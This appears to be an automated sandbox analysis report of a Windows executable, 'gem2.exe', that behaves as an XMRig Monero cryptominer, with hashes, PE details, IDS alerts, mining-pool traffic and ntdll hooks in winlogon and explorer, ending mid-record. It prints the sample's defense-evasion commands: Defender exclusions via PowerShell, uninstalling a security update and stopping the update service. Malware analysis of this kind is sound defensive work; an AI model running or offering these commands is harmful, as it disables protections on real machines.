SHA1:	33e536c5b4bdb6f6042f93445dffd8a3ad488e8b
SHA256:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c
SHA512:	495734313cae980d3f48ef78422cf9484eb347833672fd5c693f8f8c92c1c0d51986795cd55a3148be18ff0c9d36adff5a1c3ff18200668dd33f3978a459c246
SSDEEP:	49152:lYul8CapE2jLY0vFhbkQbIptv1xZ4ayOIYDIGC3FYKjPgz+WWrS2sWioLyVQGMNx:lYLCGYYbkQbytvVeOIerC1zPgSWW/pio
TLSH:	29D523E536CE4726C8143C71F4A6898918EF7A8AD3BBB1B7644483736A747B34DB7048
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........N+.....@..........@.............................p,...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x678007E8 [Thu Jan 9 17:31:20 2025 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00009ED5h]
mov dword ptr [eax], 00000001h
call 00007F5288D58BAFh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00009EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F5288D58BD0h
dec eax
cmp edi, eax
je 00007F5288D58BCBh
dec esp
mov esi, dword ptr [0000BAA9h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F5288D58BA7h
dec eax
cmp edi, eax
jne 00007F5288D58B89h
dec eax
mov edi, dword ptr [00009E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F5288D58BAEh
mov ecx, 0000001Fh
call 00007F5288D618B4h
jmp 00007F5288D58BC9h
cmp dword ptr [edi], 00000000h
je 00007F5288D58BABh
mov byte ptr [002BED21h], 00000001h
jmp 00007F5288D58BBBh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00009E7Ah]
dec eax
mov edx, dword ptr [00009E7Bh]
call 00007F5288D618ABh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F5288D58BBBh
dec eax
mov ecx, dword ptr [00009E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc978	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c5000	0x350	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x2c2000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c6000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xcb10	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9066	0x9200	0a4b4175ec481c50c984590193f52f1a	False	0.4883615154109589	data	6.152703474213046	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x20cc	0x2200	d031d7bab38efd70773bc93d35fb58a6	False	0.45128676470588236	data	4.641594651888488	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe000	0x2b3190	0x2b2000	3a7c43391555cab936df087d609d1d01	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x2c2000	0x18c	0x200	71971e4bff0784f885ec5f86f32b6a4a	False	0.521484375	data	3.204851117192452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x2c3000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2c4000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2c5000	0x350	0x400	56e59519fb7d2369bbf7a9e80aa61940	False	0.3642578125	data	2.8188436463026587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c6000	0x78	0x200	6490b02f8b3f1652073b3b9bdd2acfb4	False	0.236328125	data	1.4268248333801306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2c5060	0x2f0	SysEx File - IDP	English	United States	0.449468085106383

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T10:15:53.890023+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.5	49704	141.94.96.144	80	TCP
2025-01-10T10:16:08.375586+0100	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.5	60174	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 10:16:08.388164043 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:08.393201113 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:08.393892050 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:08.393892050 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:08.399065018 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:09.015577078 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:09.061813116 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:16.436534882 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:16.608546019 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:17.384366035 CET	50294	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:17.389271975 CET	53	50294	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:17.389355898 CET	50294	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:17.389399052 CET	50294	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:17.394181013 CET	53	50294	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:17.852317095 CET	53	50294	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:17.854166985 CET	50294	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:17.859652996 CET	53	50294	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:17.859713078 CET	50294	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:26.792152882 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:26.842930079 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:42.813124895 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:16:42.858817101 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:16:43.119462967 CET	56302	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:16:43.124329090 CET	53	56302	162.159.36.2	192.168.2.5
Jan 10, 2025 10:16:43.124408960 CET	56302	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:16:43.126420021 CET	56302	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:16:43.131407976 CET	53	56302	162.159.36.2	192.168.2.5
Jan 10, 2025 10:16:43.585133076 CET	53	56302	162.159.36.2	192.168.2.5
Jan 10, 2025 10:16:43.585324049 CET	56302	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:16:43.590455055 CET	53	56302	162.159.36.2	192.168.2.5
Jan 10, 2025 10:16:43.590512037 CET	56302	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:17:02.004745960 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:17:02.061851978 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:17:24.294970989 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:17:24.405498028 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:17:35.474283934 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:17:35.593220949 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:17:50.287472010 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:17:50.405512094 CET	49704	80	192.168.2.5	141.94.96.144
Jan 10, 2025 10:18:02.472278118 CET	80	49704	141.94.96.144	192.168.2.5
Jan 10, 2025 10:18:02.608628035 CET	49704	80	192.168.2.5	141.94.96.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 10:16:08.375586033 CET	60174	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:16:08.383467913 CET	53	60174	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:17.382879972 CET	53	60615	1.1.1.1	192.168.2.5
Jan 10, 2025 10:16:43.119062901 CET	53	52406	162.159.36.2	192.168.2.5
Jan 10, 2025 10:16:43.595828056 CET	53	50335	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 10:16:08.375586033 CET	192.168.2.5	1.1.1.1	0x8dfc	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 10:16:08.383467913 CET	1.1.1.1	192.168.2.5	0x8dfc	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 10:16:08.383467913 CET	1.1.1.1	192.168.2.5	0x8dfc	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:16:08.383467913 CET	1.1.1.1	192.168.2.5	0x8dfc	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:16:08.383467913 CET	1.1.1.1	192.168.2.5	0x8dfc	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:16:14.608594894 CET	1.1.1.1	192.168.2.5	0xf5dd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:16:14.608594894 CET	1.1.1.1	192.168.2.5	0xf5dd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:18:05.976294994 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	141.94.96.144	80	7720	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 10:16:08.393892050 CET	596	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 4d 33 39 44 4d 31 44 51 6a 46 4b 55 6e 54 33 74 32 4b 69 48 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46M39DM1DQjFKUnT3t2KiHNU6qQjmRF79J31fSbtBNafUX9B2gAwysjLFADQ5mhqR4M6C8JJRFXwLPxDHapuCrHE3mRBjTw","pass":"Ultima","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/
Jan 10, 2025 10:16:09.015577078 CET	538	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 65 38 66 38 65 39 39 34 2d 32 31 36 39 2d 34 61 32 65 2d 61 63 63 38 2d 65 30 63 37 35 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"e8f8e994-2169-4a2e-acc8-e0c75b3b642e","job":{"blob":"1010d5ca83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000e4ca76ca8bbef9ca2fc970454a16da2d22485220e56fe6bb644
Jan 10, 2025 10:16:16.436534882 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 66 63 61 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010dfca83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e9000000000947dd404a12f426f95845e20674127ad9dbc71a008f4ffb0dd66479a304578432","job_id":"nfWQgLsMZ8GInFD0hFgmhebqleLq"
Jan 10, 2025 10:16:26.792152882 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 61 63 61 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010eaca83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000b47ba232c74d01b2b43e0033cdaf5f25b0357e8e923845984bc6e86116ac5bb636","job_id":"F7s3gATm+b/1wn8mFNiTRzW98F1P"
Jan 10, 2025 10:16:42.813124895 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 61 63 61 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010faca83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000f083df92812ba472d6471dcb5b030626c2bb1ffe83967cdf9b4ad97de9b8d4003c","job_id":"qOwl+pj91emLAHG8+mlavDHj9a1t"
Jan 10, 2025 10:17:02.004745960 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 64 63 62 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10108dcb83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e90000000054592777daa1dc07ba211b0bacd7591cd19b1615d80eb6c3296af220b4fc15313e","job_id":"hHRXZ1eu5bsbTX1e91HSf8qbZ+3P"
Jan 10, 2025 10:17:24.294970989 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 33 63 62 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a3cb83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000cf010714010cd5572cd2300f1d6ff089629542c184a65d9ab86460e11143abfb45","job_id":"X14Nsb5vbQEDX14fXzM2LAWiCzdE"
Jan 10, 2025 10:17:35.474283934 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 65 63 62 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010aecb83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000161711aee4ee7d09f028c6809145c22eda8d400388593e97805af607d90f34d147","job_id":"OCg718AGkji+Put01QSGDUrdn1ZG"
Jan 10, 2025 10:17:50.287472010 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 64 63 62 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010bdcb83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000ba23df2e6f6bb593cde3faa97f595c6616c3663a3f3c435382b853a01873d1334b","job_id":"CJheU9azC6feI9mUObD9xc5moW1X"
Jan 10, 2025 10:18:02.472278118 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 39 63 62 38 33 62 63 30 36 33 34 66 65 34 39 32 61 63 38 33 32 61 61 31 35 34 33 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010c9cb83bc0634fe492ac832aa1543667c6582a369b9f2475a3cc66ab8e3374ac653bc72b2e900000000eadd873f8fe805e90bc69caa6936f21f23992a8bb65edd2ccf681d60f54349454e","job_id":"AHaeV7TH9eAt+clQKSkNiaLud9Wo"

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	04:15:57
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\gem2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\gem2.exe"
Imagebase:	0x7ff72a7b0000
File size:	2'876'416 bytes
MD5 hash:	990A3F3B1273510F210FB9B541DA219F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:15:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:15:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6218c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
